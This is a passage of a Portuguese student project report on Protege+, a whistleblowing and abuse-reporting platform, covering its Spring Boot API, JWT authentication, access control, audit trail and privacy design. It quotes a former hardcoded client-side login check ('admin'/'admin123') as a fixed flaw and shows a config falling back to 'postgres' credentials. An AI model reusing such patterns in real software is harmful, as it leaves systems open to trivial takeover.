



PROTEGE+

Canal Nacional de Denúncias para Proteção do Cidadão

HackGov • Fase 5

API RESTful • Estruturas de Dados • Estatística Aplicada • Governança e Auditoria

API RESTful

LGPD

Auditoria

Gabriel Vasconcellos Gomes

RM 561601

Turma 2SIOA • Enterprise Challenge • Entrega individual

Vídeo de demonstração (YouTube, não listado): <https://youtu.be/DoenYynHA6E>

Repositório: github.com/Gabriell230G/hackgovProtegeMais

Ficha técnica do documento

Campo	Conteúdo
Projeto	Protege+, Canal Nacional de Denúncias
Desafio	HackGov, Enterprise Challenge FIAP
Fase	5 (final)
Autor	Gabriel Vasconcellos Gomes
RM	561601
Turma	2SIOA
Natureza da entrega	Individual
Repositório	https://github.com/Gabriell230G/hackgovProtegeMais
Vídeo (YouTube, não listado)	https://youtu.be/DoenYynHA6E , replicado na apresentação e no site
Back-end	Java 17 · Spring Boot 3.3.4 · Spring Security · JWT · Spring Data JPA
Banco de dados	Oracle 19c (modelo físico) · PostgreSQL (produção) · H2 (execução local)
Front-end	HTML5 · CSS3 · JavaScript (27 módulos) · React 18 (CDN) · Chart.js · Leaflet
Documentação da API	OpenAPI 3 / Swagger UI em /swagger-ui.html
Testes automatizados	81 testes JUnit em 11 conjuntos
Volume de código	63 classes Java de produção e 11 de teste · 31 endpoints REST · 12 tabelas · 30 restrições CHECK
Base de demonstração	125 denúncias determinísticas (semente 561601) e 201 eventos de histórico
Fontes externas citadas	50 referências, listadas no Anexo E

Sobre a estrutura deste documento

Este documento foi organizado para ser **conferido item a item contra o enunciado da Fase 5**. Cada uma das cinco Partes abre com um quadro intitulado “*O que o enunciado pede*”, que reproduz literalmente o requisito correspondente, e cada requisito tem uma seção própria com numeração explícita. O Anexo C consolida essa correspondência numa matriz de conformidade, com a indicação da seção, do arquivo de código e da forma de verificação de cada item.

Quatro princípios guiaram a redação:

Toda decisão de projeto é justificada por uma fonte externa. As escolhas defendidas aqui não são preferências de estilo: elas se apoiam em legislação brasileira (LGPD, Lei 13.460/2017, Lei 13.608/2018, Decreto 9.492/2018, Decreto 10.153/2019), em normas técnicas (RFC 9110, RFC 8725, OWASP API Security Top 10, NIST SP 800-92, ISO/IEC 27002), em dados públicos (IPEA, MDHC, CGU, IBM) e em literatura

acadêmica (SWEENEY, 2002; ROCHER et al., 2019; TUKEY, 1977). São **50 fontes**, citadas ao longo do texto pelo sistema autor-data e listadas por extenso no **Anexo E**, com endereço de acesso.

Toda afirmação técnica aponta para um arquivo. Quando o texto diz que uma regra existe, ele nomeia a classe, o método ou o script em que ela está escrita. Uma afirmação de projeto que não pode ser localizada no código é uma afirmação que não pode ser verificada.

Todo número apresentado é reproduzível. As estatísticas da Parte 4 saem de uma base determinística, gerada a partir da semente 561601. Reexecutar a carga produz exatamente os mesmos 125 registros e, portanto, exatamente as mesmas médias, medianas e desvios impressos aqui. O Anexo B descreve como reproduzi-los em menos de cinco minutos.

Os limites do que foi construído são declarados. As seções 5.8 e 6.3 listam o que **não** está resolvido. Um documento de segurança que só relata acertos não é um documento de segurança, é material de divulgação.

Sumário

Seção	Conteúdo	Pág.
	Introdução: contexto, problema em números e mapa da entrega	6
	PARTE 1: Versão Atual do Projeto	8
1.1	O que a Fase 5 mudou: o panorama	8
1.2	Evolução medida, número a número	9
1.3	Nasce a API: back-end Java em camadas	9
1.4	Da memória do navegador ao banco relacional	11
1.5	Segurança: de simulada a real	11
1.6	VigIA: de heurística local a copiloto com plano B	12
1.7	Front-end: vinte módulos novos	12
1.8	Documentação viva da API	14
1.9	Testes automatizados: de zero a 81	14
1.10	Endereçamento das ressalvas das fases anteriores	15
1.11	Registro cronológico das evoluções desta fase	16
1.12	Síntese da Parte 1	17
	PARTE 2: Ajustes no backlog	18
2.1	Método de revisão	18
2.2	Product Backlog revisado (US01 a US18)	18
2.3	Justificativa das reaberturas	19
2.4	Novas user stories de front-end	19
2.5	Novas user stories de segurança	20
2.6	Novas user stories de manipulação de arquivos	20
2.7	Nova user story de integração	21
2.8	Critérios de aceitação das histórias prioritárias	21
2.9	Definição de pronto	26
2.10	Backlog consolidado: quadro final	26
	PARTE 3: Implementação de API RESTful e Integração Completa	27
3.1	Requisito (a): a API RESTful	27
3.1.2	Inventário completo das rotas	27
3.1.3	Métodos HTTP	30

Seção	Conteúdo	Pág.
3.1.4	Códigos de status	30
3.1.5	Tratamento de erros	31
3.1.6	Segurança da API	32
3.1.8	Consulta eficiente de dados	33
3.1.9	Documentação executável	33
3.2	Requisito (b): CRUD funcional nos recursos principais	34
3.3	Requisito (c): integração da API ao front-end	36
3.3.1	A interface React	36
3.3.3	A mesma denúncia, três respostas diferentes	37
	PARTE 4: Manipulação Avançada de Dados e Criação de Relatórios	40
4.1	Requisito (a): lista, fila de prioridade e pilha	40
4.2	Requisito (b): relatórios estatísticos com gráficos	42
4.2.2	Medidas de tendência central e de dispersão	44
4.2.3	Gráficos 1 a 6	44
4.3	Requisito (c): interpretações e sugestões de negócio	49
	PARTE 5: Governança e Auditoria	52
5.1	O princípio que organiza tudo	52
5.2	Requisito (a): controle de acesso, proteção e registro	52
5.3	Requisito (b): tabelas de perfis, permissões e dados pessoais	56
5.4	Requisito (c): quais operações geram trilha de auditoria	58
5.5	Requisito (d): log técnico e registro de auditoria	61
5.6	Requisito (e): medidas para reduzir a exposição na API	62
5.7	Fundamento legal das decisões	64
5.8	O que ainda não está resolvido	65
	6. Encerramento	66
	Anexo A: O modelo físico, bloco a bloco	68
	Anexo B: Como executar e como verificar	72
	Anexo C: Matriz de conformidade com o enunciado	75
	Anexo D: Registro de verificação	79
	Anexo E: Referências	84

Introdução

Contexto do desafio

O HackGov é um desafio de construção de uma solução GovTech: sair da modelagem de um problema público e chegar a um sistema que funciona, com banco de dados, back-end, front-end e regras que sobrevivem ao uso real. Esta Fase 5 é a etapa de **consolidação técnica**, em que a solução precisa deixar de ser um conjunto de funcionalidades e passar a ser um sistema que organiza fluxos, expõe suas capacidades por uma API RESTful, integra telas e serviços, consulta dados de forma eficiente, protege dado sensível, registra as ações relevantes e produz informação útil para a gestão pública.

O problema público, em números

A solução deste autor é o **Protege+, Canal Nacional de Denúncias**: um canal público para registro e acompanhamento de denúncias de violência, abuso e violação de direitos. Antes de descrever o sistema, vale dimensionar o problema com dados de fontes oficiais, porque é deles que decorrem as decisões de projeto defendidas ao longo deste documento.

O canal federal equivalente opera em escala de centenas de milhares de casos por ano e está crescendo. O Disque 100, canal da Ouvidoria Nacional dos Direitos Humanos, registrou **657,2 mil denúncias em 2024**, contra 536,1 mil em 2023, um crescimento de **22,6%** (MDHC, 2025). Um sistema desenhado para esse domínio não pode tratar volume como detalhe: paginação, índices e consulta eficiente deixam de ser refinamento e viram requisito, o que a seção 3.1.8 detalha.

O que chega ao canal é uma fração do que acontece. O IPEA estima **822 mil casos de estupro por ano no Brasil** e conclui que “apenas 8,5% deles chegam ao conhecimento da polícia e 4,2% são identificados pelo sistema de saúde” (IPEA, 2023). A subnotificação é o problema central deste domínio, e ela é a justificativa direta para as decisões de produto mais importantes do Protege+: anonimato graduado, registro sem conta, fluxo de emergência em três toques e Modo Seguro.

O medo de retaliação é a causa reconhecida dessa subnotificação. A Diretiva (UE) 2019/1937, que estabeleceu o regime europeu de proteção a denunciantes, abre justamente reconhecendo que “os potenciais denunciantes são frequentemente desencorajados de comunicar as suas preocupações ou suspeitas por receio de retaliação” (UNIÃO EUROPEIA, 2019). A Transparência Internacional registra que, mesmo onde há proteção legal, a represália persiste na forma de demissão, rebaixamento, assédio e ataques à reputação (TRANSPARENCY INTERNATIONAL, 2026).

O direito brasileiro já transformou essa constatação em obrigação. A Lei 13.608/2018 assegura que “o informante que se identificar terá assegurado, pelo órgão que receber a denúncia, o sigilo dos seus dados” (art. 3.º) e, na redação dada pela Lei 13.964/2019, garante ao informante a preservação de sua identidade e proteção integral contra retaliações (arts. 4.º-A a 4.º-C) (BRASIL, 2018b). O Decreto 10.153/2019 vai além e define o *como*: a identificação deve ser preservada desde o recebimento, a restrição de acesso é mantida por cem anos e a unidade de ouvidoria deve pseudonimizar a denúncia antes de encaminhá-la (BRASIL, 2019).

A conclusão que organiza todo o resto deste trabalho é esta: **num canal de denúncias, proteger a identidade não é conformidade, é a funcionalidade principal**. Vazar quem denunciou não gera prejuízo financeiro, gera violência contra a pessoa que confiou no Estado. É por isso que a Parte 5 não é um apêndice deste documento, e sim o eixo do produto.

A solução apresentada

O lado do cidadão aceita denúncia anônima em três níveis de anonimato, anexo de evidências, consulta por protocolo, botão de emergência com localização e um Modo Seguro que esvazia a tela em um toque.

O lado do órgão público traz Kanban de atendimento, fila de priorização automática, mapa com agregação por município, relatório estatístico e trilha de auditoria.

O desenho segue precedentes públicos verificáveis. O Fala.BR, plataforma de ouvidoria do governo federal operada pela CGU, admite registro anônimo de denúncias e declara que “em nenhuma hipótese, o Fala.BR coletará o endereço IP do denunciante que registra sua manifestação de forma anônima” (CGU, [s.d.]a). O Decreto 9.492/2018 determina que comunicações de irregularidade “ainda que de origem anônima” sejam enviadas para apuração (art. 23, §2.º) (BRASIL, 2018c). O anonimato do Protege+, portanto, não é uma liberalidade do produto: é o padrão da administração pública federal.

Como esta entrega responde ao que foi pedido

O que a Fase 5 pede	Onde está neste documento
Parte 1: relatar as evoluções desde a última entrega	Parte 1, seções 1.1 a 1.12
Parte 2: reavaliar o Product Backlog, novas user stories de front-end, segurança e manipulação de arquivos, critérios de aceitação das prioritárias	Parte 2, seções 2.1 a 2.10
Parte 3: implementar e documentar API RESTful robusta; CRUD funcionando; integração ao front-end com consumo dos endpoints via React	Parte 3, seções 3.1, 3.2 e 3.3
Parte 4: estruturas de dados avançadas; relatórios estatísticos; cálculos, interpretações e sugestões para o negócio	Parte 4, seções 4.1, 4.2 e 4.3
Parte 5: controle de acesso, proteção e registro; tabela de perfis e permissões; operações que geram trilha; log técnico contra auditoria; medidas contra exposição por API	Parte 5, seções 5.2 a 5.6
Organizar solicitações e fluxos	Kanban, fila de prioridade e pilha de desfazer, seções 4.1.2 e 4.1.3
Consultar dados de forma eficiente	Seção 3.1.8, com paginação e filtros resolvidos no banco e 13 índices
Produzir informação útil para a gestão pública	Parte 4, com seis gráficos e oito recomendações de negócio

PARTE 1: Versão Atual do Projeto

O que o enunciado pede

“Relate quais foram as evoluções no HackGov realizadas desde a última entrega de atividade.”

Esta Parte cumpre o requisito em três movimentos: a seção 1.1 dá o panorama da mudança; as seções 1.2 a 1.9 detalham cada frente de evolução com a evidência correspondente no código; a seção 1.10 registra o tratamento dado às ressalvas recebidas nas avaliações anteriores, e a 1.11 traz o registro cronológico do que foi construído dentro desta fase.

1.1 O que a Fase 5 mudou: o panorama

Entre a entrega da Fase 4 e esta entrega, o Protege+ deixou de ser uma aplicação que rodava inteiramente no navegador e passou a ser um **sistema cliente-servidor com API REST, banco de dados relacional, autenticação, controle de acesso, trilha de auditoria e documentação interativa**.

A mudança não foi cosmética. Ela alterou três coisas que definem o que um sistema é: **onde o dado vive, quem pode lê-lo e como o sistema se comporta quando algo falha**.

Dimensão	Fase 4	Fase 5 (atual)
Arquitetura	Monolito front-end, no navegador	Cliente-servidor: front-end + API REST
Persistência	<code>localStorage</code> (~5 MB, por navegador)	PostgreSQL/Supabase, com H2 embutido para execução offline
Fonte da verdade do score	JavaScript no cliente	<code>ScoreService</code> , no servidor
Autenticação	Simulada no front-end	Spring Security + JWT + BCrypt
Inteligência	Regras em JS (<code>vigia.js</code>)	<code>VigiaService</code> com Google Gemini e <i>fallback</i> por regras
Documentação da API	Inexistente	OpenAPI 3 executável em <code>/swagger-ui.html</code>
Controle de acesso	Inexistente no servidor	RBAC com 5 perfis, aplicado por rota e por campo
Trilha de auditoria	Inexistente	Registro imutável encadeado por SHA-256
Manipulação de arquivos	Base64 no <code>localStorage</code>	Upload por <code>multipart/form-data</code> , validado por assinatura
Testes automatizados	Inexistentes	81 testes JUnit em 11 conjuntos
Relatório estatístico	Inexistente	<code>EstatisticaService</code> + 6 gráficos no painel

A frase que melhor resume a diferença é esta: na Fase 4, **tudo o que o sistema sabia, o usuário podia reescrever com o console do navegador aberto**. Na Fase 5, o que o navegador tem é uma interface.

1.2 Evolução medida, número a número

Os números abaixo foram medidos nos próprios arquivos do projeto, e não estimados.

Métrica	Fase 4	Fase 5	Variação
Classes Java de produção	7 (aplicação de console)	63	+800 %
Endpoints REST	0	31	novo
Controladores	0	9	novo
Módulos JavaScript	7	27	+286 %
Folhas de estilo	1	7	+600 %
Páginas HTML	2	3	+50 %
Tabelas no modelo físico	9	12	+33 %
Restrições CHECK	5	30	+500 %
Índices	8	13	+63 %
Chaves estrangeiras declaradas	não declaradas	11	novo
Testes automatizados	0	81	novo
Chaves de tradução (pt/en)	~120	363 × 2	+203 %

Crescimento medido em bytes nos três arquivos principais do front-end: `index.html` passou de 52.490 para 79.768 bytes (**+52 %**); `i18n.js`, de 12.967 para 39.160 bytes (**+202 %**, efeito das telas novas traduzidas para o inglês); `main.js`, de 61.867 para 69.336 bytes (**+12 %**, e o crescimento modesto aqui é intencional e explicado na seção 3.3.2: a integração com a API foi feita hidratando as telas existentes, e não reescrevendo-as).

1.3 Nasce a API: back-end Java em camadas

O programa Java da Fase 3 era uma aplicação de console, com `main()` e coleções em memória. Ele foi **reescrito como aplicação web em camadas** sobre Java 17 e Spring Boot 3.3.4, com separação explícita de responsabilidades:

br.gov.protege		
—	ProtegeApplication.java	ponto de entrada
—	audit/ Auditavel	anotação que marca operação auditada
	AuditoriaAspect	interceptor que grava a trilha
—	config/ WebConfig	metadados e segurança do OpenAPI
—	security/ JwtService	geração e validação de token
	JwtAuthFilter	autenticação e perfil por requisição
	SecurityConfig	regras de acesso, CORS, BCrypt, RBAC
	RespostasDeSeguranca	401 e 403 padronizados + auditoria de
recusa		
—	RateLimitFilter	limite de requisições por origem
—	model/ Denuncia	entidade central (JPA)
	HistoricoItem	item embutido da linha do tempo
	Evidencia	metadado do arquivo anexado
	Membro	equipe do gestor
	Usuario	credencial do servidor público
	PerfilUsuario	enum dos cinco perfis de acesso
	AuditoriaLog	registro da trilha, encadeado por hash
	AcaoReversivel	elemento da pilha de desfazer
—	dto/ DenunciaRequest	contrato de entrada
	DenunciaPublicaResponse	canal do cidadão
	DenunciaResumoResponse	listagem, sem relato nem endereço
	DenunciaDetalheResponse	detalhe, consulta sensível
	RelatorioAnaliticoResponse	relatório estatístico da Parte 4
	EvidenciaResponse	metadado do anexo
	PageResponse	envelope de paginação
	AuditoriaResponse	registro da trilha
—	exception/ RecursoNaoEncontradoException, ConflitoException, RegraDeNegocioException, ArquivoGrandeDemaisException, FormatoNaoSuportadoException	
—	mapper/ DenunciaMapper	entidade para resposta, conforme o perfil
—	util/ MascaraUtil	mascaramento de dado pessoal
	AssinaturaArquivo	detecção de tipo pelo número mágico
	NomeArquivoUtil	higienização de nome de arquivo
—	repository/ DenunciaRepository, MembroRepository, UsuarioRepository, EvidenciaRepository, AuditoriaLogRepository	
—	service/ DenunciaService	regra de negócio da denúncia
	ScoreService	score de confiabilidade
	VigiaService	análise por IA e por regras
	FilaAtendimentoService	fila de prioridade (heap binário)
	PilhaAcoesService	pilha de ações reversíveis (LIFO)
	EvidenciaService	recebimento e leitura de arquivos
	ExportacaoService	geração do CSV
	EstatisticaService	medidas descritivas puras
	RelatorioService	montagem do relatório analítico
	AuditoriaService	gravação e verificação da trilha
—	controller/ AuthController, DenunciaController, MembroController, StatsController, VigiaController, FluxoController, AuditoriaController, EvidenciaController, ExportacaoController, GlobalExceptionHandler	

A separação entre entidade, DTO e mapper não é organização decorativa. Ela é a defesa recomendada pela OWASP contra *mass assignment*, cuja orientação é explícita: “Use Data Transfer Objects (DTOs)” e restringir por lista de permissão os campos vinculáveis (OWASP, [s.d.]). Uma aplicação que aceita o corpo da requisição direto na entidade JPA deixa o cliente escolher quais colunas quer escrever, inclusive as que a interface nunca mostrou.

A entidade `Denuncia` foi modelada para **espelhar exatamente o objeto que o front-end já manipulava**, o que permitiu integrar sem reescrever a interface. Um detalhe técnico relevante: a coluna do campo `local` foi mapeada como `localidade`, porque `LOCAL` é palavra reservada em SQL.

```
@Column(name = "localidade")
private String local;
```

A linha do tempo da denúncia deixou de ser um vetor solto em JSON e virou uma **coleção ordenada persistida em tabela própria**:

```
@ElementCollection(fetch = FetchType.EAGER)
@CollectionTable(name = "denuncia_historico",
    joinColumns = @JoinColumn(name = "denuncia_id"))
@OrderColumn(name = "ordem")
private List<HistoricoItem> historico = new ArrayList<>();
```

O `@OrderColumn` é o que garante a rastreabilidade cobrada pela US12: a ordem dos eventos passou a ser uma **propriedade do banco**, não uma convenção do código.

1.4 Da memória do navegador ao banco relacional

Na Fase 4, toda denúncia vivia no `localStorage`. Isso trazia três limitações concretas, e a terceira é a mais grave.

1. **Teto de armazenamento** de aproximadamente 5 MB por origem, agravado porque anexos em Base64 ocupam cerca de 33 % a mais que o arquivo original. Uma única foto de celular moderna consome uma fração relevante desse teto.
2. **Dado preso ao dispositivo**: uma denúncia registrada no celular não aparecia para o gestor no computador. O canal não funcionava como canal.
3. **Nenhuma garantia de integridade**: o conteúdo era editável pelo console do navegador. Um sistema em que o dado pode ser reescrito por quem o consulta não tem como afirmar nada sobre ele.

A Fase 5 resolve os três ao mover a persistência para o servidor. A configuração prevê dois perfis:

- **Produção**. PostgreSQL gerenciado (Supabase), com credenciais lidas de variáveis de ambiente:

```
spring.datasource.url=${DB_URL:jdbc:postgresql://localhost:5432/protege}
spring.datasource.username=${DB_USER:postgres}
spring.datasource.password=${DB_PASSWORD:postgres}
```

- **Execução local e avaliação**. H2 embutido em arquivo, ativado por `-Dspring-boot.run.profiles=h2`, sem nenhuma instalação prévia. É o perfil usado na demonstração em vídeo, e é o que permite que o projeto funcione ao ser descompactado, conforme exige a entrega.

A carga inicial (`data.sql`) foi escrita de forma **idempotente**, com `INSERT ... SELECT ... WHERE NOT EXISTS`, para que reinicializações sucessivas não dupliquem registros.

O modelo físico Oracle correspondente (`database/01_ddl_oracle.sql`) foi reescrito nesta fase e está explicado bloco a bloco no **Anexo A**.

1.5 Segurança: de simulada a real

O login do gestor na Fase 4 era uma comparação de texto no JavaScript. Agora existe autenticação de verdade:

- **Senhas com BCrypt**, nunca em texto puro. A escolha segue a orientação da OWASP, que recomenda bcrypt com fator de trabalho de dez ou mais e alerta que algoritmos rápidos de hash são inadequados porque “they allow attackers to perform large numbers of guesses quickly” (OWASP, [s.d.]). O bcrypt foi projetado exatamente para isso: seu custo é configurável para acompanhar o barateamento do hardware (PROVOS; MAZIÈRES, 1999). O modelo físico ainda reforça a regra com `CHECK (LENGTH(senha_hash) >= 55)`, descrito no Anexo A.6.
- **Token JWT assinado com HMAC-SHA** (RFC 7519), contendo `subject` (e-mail), `nome` e `role`, com validade de 8 horas. O filtro valida a assinatura e o algoritmo declarado, e não apenas decodifica o token: as boas

práticas atuais de JWT exigem que a biblioteca receba o conjunto de algoritmos aceitos e nunca aceite `none` sem pedido explícito (IETF, 2020).

- **Sessão *stateless*** (`SessionCreationPolicy.STATELESS`): o servidor não guarda estado de sessão.
- **Autorização por rota**, declarada no `SecurityConfig`. O cidadão registra denúncia e consulta protocolo sem token; toda rota do painel exige `Authorization: Bearer <token>`.

```
.requestMatchers(HttpMethod.POST, "/api/denuncias").permitAll()  
.requestMatchers(HttpMethod.GET, "/api/denuncias/protocolo/**").permitAll()  
.requestMatchers("/api/auth/**", "/api/vigia/status").permitAll()  
.anyRequest().authenticated()
```

O front-end acompanhou: `backend.js` obtém o token no login, injeta o cabeçalho `Authorization` nas rotas protegidas e, ao receber `401`, descarta o token e refaz o login automaticamente uma única vez antes de desistir.

Duas falhas graves de segurança foram **encontradas e corrigidas dentro desta fase**, e ambas estão documentadas em detalhe na seção 5.2.1, porque relatar apenas o resultado final esconderia o método que as encontrou:

1. O `JwtAuthFilter` concedia `ROLE_GESTOR` a qualquer token válido, ignorando o perfil declarado no próprio token. Na prática, não havia segregação alguma, o que corresponde ao risco **API5:2023 Broken Function Level Authorization** do catálogo da OWASP (OWASP, 2023).
2. A tela de login não falava com a API: era uma comparação de string no JavaScript que o cidadão baixa (`if (user === 'admin' && pass === 'admin123')`).

1.6 VigIA: de heurística local a copiloto com plano B

O `vigia.js` da Fase 4 era um analisador por regras rodando no navegador. Na Fase 5 ele ganhou um par no servidor, o `VigiaService`, com três capacidades: **classificar a urgência** de uma denúncia, **resumi-la** para o gestor e **responder perguntas abertas** sobre o panorama das ocorrências.

A decisão de projeto mais importante foi **não depender da IA para o sistema funcionar**. Havendo `GEMINI_API_KEY` configurada, a análise usa o modelo do Google; não havendo, ou falhando a chamada, o serviço cai para uma análise por regras explicável:

```
private Analise analisePorRegras(Denuncia d) {  
    int g = GRAVIDADE.getOrDefault(nz(d.getTipo()).toLowerCase(), 2);  
    boolean palavrasCriticas = desc.matches(  
        ".*(arma|faca|agora|socorro|ameaca|sangue|espancad|refem).*");  
    ...  
}
```

Cada resposta carrega sua origem (`GEMINI` ou `REGRAS`), persistida na coluna `origem_analise`, e o endpoint `GET /api/vigia/status` informa ao front-end em que modo o sistema está operando.

Isso atende a uma exigência legal, não a um capricho técnico. A LGPD assegura ao titular o direito de “solicitar a revisão de decisões tomadas unicamente com base em tratamento automatizado” e obriga o controlador a fornecer “informações claras e adequadas a respeito dos critérios e dos procedimentos” utilizados (BRASIL, 2018a, art. 20 e §1.º). Uma classificação de urgência que ninguém consegue explicar nem reproduzir não sobreviveria a esse artigo. A seção 4.2.5 traz a validação empírica dessa classificação: o tempo real de atendimento acompanha a urgência que o VigIA atribuiu, de forma monotônica.

1.7 Front-end: vinte módulos novos

O front-end saiu de 7 para 27 módulos JavaScript. Os vinte novos, e o que cada um resolve:

Módulo	Função	Relevância
backend.js	Ponte com a API: login JWT, chamadas REST e <i>fallback</i> para <code>localStorage</code>	Integração front ↔ API
sincronia.js	Hidrata as telas existentes com os dados da API, paginando e preservando campos locais	Requisito de integração (US31)
detalhe.js	Ficha completa do caso, com leitura auditada	Demonstra <code>CONSULTA_SENSIVEL</code>
evidencias.js	Modal de anexos: download auditado e remoção com motivo	Manipulação de arquivos
estatistica.js	Relatório estatístico com seis gráficos e a leitura de cada um	Parte 4
auditoria.js	Consulta da trilha com filtros e verificação da cadeia de hashes	Parte 5
fluxo.js	Fila de priorização e pilha de desfazer visíveis na interface	Parte 4
acesso.js	Troca de perfil no painel com login real na API	Base da Parte 5
anonimato.js	Anonimato graduado em 3 níveis e elo de mão dupla	Maior diferencial do produto
elo-gestor.js	Lado do gestor no elo de mão dupla	Complemento do anterior
lgpd.js	Cifragem de campo dos dados sensíveis e painel de conformidade	LGPD
kanban.js	Kanban de 4 colunas, com arrastar-e-soltar e atribuição	Gestão do fluxo
status-confirm.js	Confirmação explícita antes de mudar status	Prevenção de erro operacional
equipe.js	Cadastro da equipe do gestor	Atribuição de responsáveis
mapa-gestor.js	Mapa coroplético com granularidade mínima de município e limiar de 3	<i>Privacy by design</i>
emergencia.js	Fluxo de emergência em 3 toques, com GPS	Velocidade em situação de risco
panico.js	Saída imediata do site (botão e ESC duplo)	Segurança física
storage-guard.js	Substitui o <code>localStorage</code> por equivalente em memória quando bloqueado	Resiliência
conexao.js	Etiqueta que declara se os dados vêm da API ou do armazenamento local	Transparência da origem do dado
i18n.js	363 chaves em português e 363 em inglês, simétricas	Acessibilidade (US14)

Quatro deles merecem destaque técnico.

mapa-gestor.js implementa **k-anonimato na prática**. O mapa nunca plota o endereço da ocorrência, agrega por município, e municípios com menos de três denúncias aparecem em cinza neutro:

```
| const MIN_EXIBICAO = 3; // limiar de privacidade
```

O limiar não é arbitrário: é a aplicação do modelo de k-anonimato proposto por Sweeney (2002), cujo resultado mais citado mostra que “87% (216 million of 248 million) of the population in the United States” era identificável por CEP, sexo e data de nascimento. Pesquisa posterior mostrou que quinze atributos demográficos bastam para tornar únicas 99,98 % das pessoas de um estado americano, mesmo em amostras pequenas (ROCHER; HENDRICKX; DE MONTJOYE, 2019). Sem o limiar, uma cidade pequena com uma única denúncia permitiria reidentificar a vítima olhando apenas o mapa, e o dado agregado deixaria de ser agregado.

storage-guard.js resolve uma falha silenciosa. Em aba anônima de certos navegadores, ou sob política corporativa, o `localStorage` lança exceção ao ser lido. Sem tratamento, isso derrubaria o site inteiro. O *guard* testa a disponibilidade antes de tudo e, se necessário, injeta um substituto em memória, mantendo o restante do código inalterado.

sincronia.js foi escrito para não quebrar nada. Ele traz os dados da API para o mesmo lugar de onde as telas já liam, em vez de reescrever Kanban, backlog e tabela. E preserva explicitamente os campos que só existem no cliente:

```
const SO_DO_CLIENTE = ['codigoAcompanhamento', 'mensagens', 'nivelAnonimato',  
                        'emergencia', 'prioridade', 'coordenadas'];
```

Sem essa lista, a primeira sincronização apagaria o código de acompanhamento do anonimato graduado, que é um dado que o cidadão precisa para dialogar com o órgão sem se identificar.

conexao.js existe por honestidade. O *fallback* para modo local deixava o painel **idêntico** nos dois modos, e um gestor que decidisse com base naquela tela não teria como saber se os números vinham do banco ou apenas daquele navegador. A etiqueta declara **API conectada** ou **modo local**, é clicável para reverificar, e avisa quando a página foi aberta diretamente do sistema de arquivos (`file:`).

1.8 Documentação viva da API

Com o `springdoc-openapi`, a API passou a se documentar sozinha. O `WebConfig` publica os metadados, o Swagger UI fica disponível em `/swagger-ui.html` e o contrato em JSON, em `/v3/api-docs`.

Manter o inventário de endpoints atualizado é, por si só, um controle de segurança: **API9:2023 Improper Inventory Management** figura no catálogo da OWASP justamente porque APIs esquecidas e não documentadas são as que ficam sem correção (OWASP, 2023).

O que isso muda para quem avalia: **qualquer endpoint pode ser executado pelo navegador**, sem Postman e sem cURL. O botão *Authorize* aceita o token emitido por `/api/auth/login`, e a partir daí as rotas protegidas ficam disponíveis. É o caminho mais curto para verificar as afirmações deste documento: a seção 3.1.9 e o Anexo B descrevem o procedimento.

1.9 Testes automatizados: de zero a 81

O projeto passou de nenhum teste para **81 testes JUnit 5 em 11 conjuntos**:

Conjunto	Testes	O que garante
<code>EstatisticaServiceTest</code>	14	Todas as medidas descritivas, contra valores conferidos à mão
<code>RelatorioServiceTest</code>	11	Montagem do relatório: lead time, histograma,

Conjunto	Testes	O que garante
		percentis, recortes e ponto de referência temporal
<code>EvidenciaServiceTest</code>	9	Limite de tamanho, limite por denúncia, nome gerado e recusa de arquivo trocado no disco
<code>ExportacaoServiceTest</code>	8	Neutralização de fórmula em CSV e mascaramento por perfil
<code>AssinaturaArquivoTest</code>	8	Deteção de tipo por número mágico, incluindo executável disfarçado
<code>NomeArquivoUtilTest</code>	7	Higienização de nome, travessia de diretório, acentos e truncamento
<code>AuditoriaServiceTest</code>	7	Deteção de adulteração da trilha
<code>FilaAtendimentoServiceTest</code>	6	Ordenação da fila, os critérios de desempate e a consistência do comparador com 200 elementos
<code>PilhaAcoesServiceTest</code>	5	Comportamento LIFO, isolamento entre servidores e descarte no limite de profundidade
<code>VigiaServiceTest</code>	3	Classificação de urgência pelo caminho de regras, que é o caminho que precisa funcionar quando a IA está indisponível
<code>ScoreServiceTest</code>	3	Faixas do score de confiabilidade

Dois conjuntos merecem destaque metodológico.

`AuditoriaServiceTest` adultera a trilha de propósito. Em vez de verificar apenas que a cadeia se forma corretamente, ele altera o usuário de um registro e remove outro do meio da cadeia, exigindo que o sistema aponte a posição exata e o tipo de inconsistência. A própria OWASP recomenda que o registro seja construído com detecção de adulteração, para que se saiba “if a record has been modified” (OWASP, [s.d.]b). Um mecanismo de integridade que nunca acusa nada não prova que está funcionando.

O cálculo estatístico é conferido contra conta feita à mão. Os 25 testes que cobrem essa frente, 14 no `EstatisticaServiceTest` e 11 no `RelatorioServiceTest`, trazem no cabeçalho de cada método o valor esperado calculado à mão e a conta que o produziu. Estatística errada é o tipo de defeito que não quebra o sistema: ele apenas faz o sistema mentir, silenciosamente, com aparência de normalidade.

Há ainda um teste que fixa uma lição aprendida em campo: o carimbo de tempo dos registros precisa ser truncado a milissegundos, porque a JVM tem precisão de nanossegundos e a coluna `TIMESTAMP` do banco não. Sem o truncamento, o hash calculado antes de gravar não bate com o recalculado na leitura, e o sistema acusa adulteração onde houve apenas perda de precisão. O teste existe para que ninguém remova o truncamento sem entender o porquê (seção 5.4.6).

1.10 Endereçamento das ressalvas das fases anteriores

As avaliações anteriores apontaram cinco pontos. Todos foram incorporados ao planejamento desta fase, e cada um tem destino declarado neste documento.

#	Ressalva recebida	Tratamento nesta fase	Onde verificar
D1	Scripts DDL não podem ficar apenas em link de repositório; precisam estar documentados e explicados no PDF	DDL comentado bloco a bloco, com a justificativa de cada decisão não óbvia	Anexo A
D2	Corrigir a tipagem genérica de campos no diagrama físico	Precisão explícita em todo NUMBER , remoção de coluna redundante com a FK, revisão do uso de CLOB	Anexo A.1 e A.9
D3	Faltou o detalhamento do modelo físico gerado no Oracle	Modelo reescrito: 12 tabelas, 11 FK, 6 UNIQUE, 30 CHECK, 13 índices, 30 comentários	Anexo A
D4	Faltou a análise do limite de ~5 MB do localStorage frente ao upload em Base64	Analisado na seção 1.4 e resolvido pela migração para upload via API	Seções 1.4 e 3.2.3
D5	Faltou demonstrar o console Java rodando em paralelo com o front-end	Demonstrado no vídeo, em tela dividida, com o terminal do back-end ao lado do navegador	Vídeo, link na capa

1.11 Registro cronológico das evoluções desta fase

Além do que já existia ao iniciar a Fase 5, foram implementados e **verificados contra a aplicação em execução**:

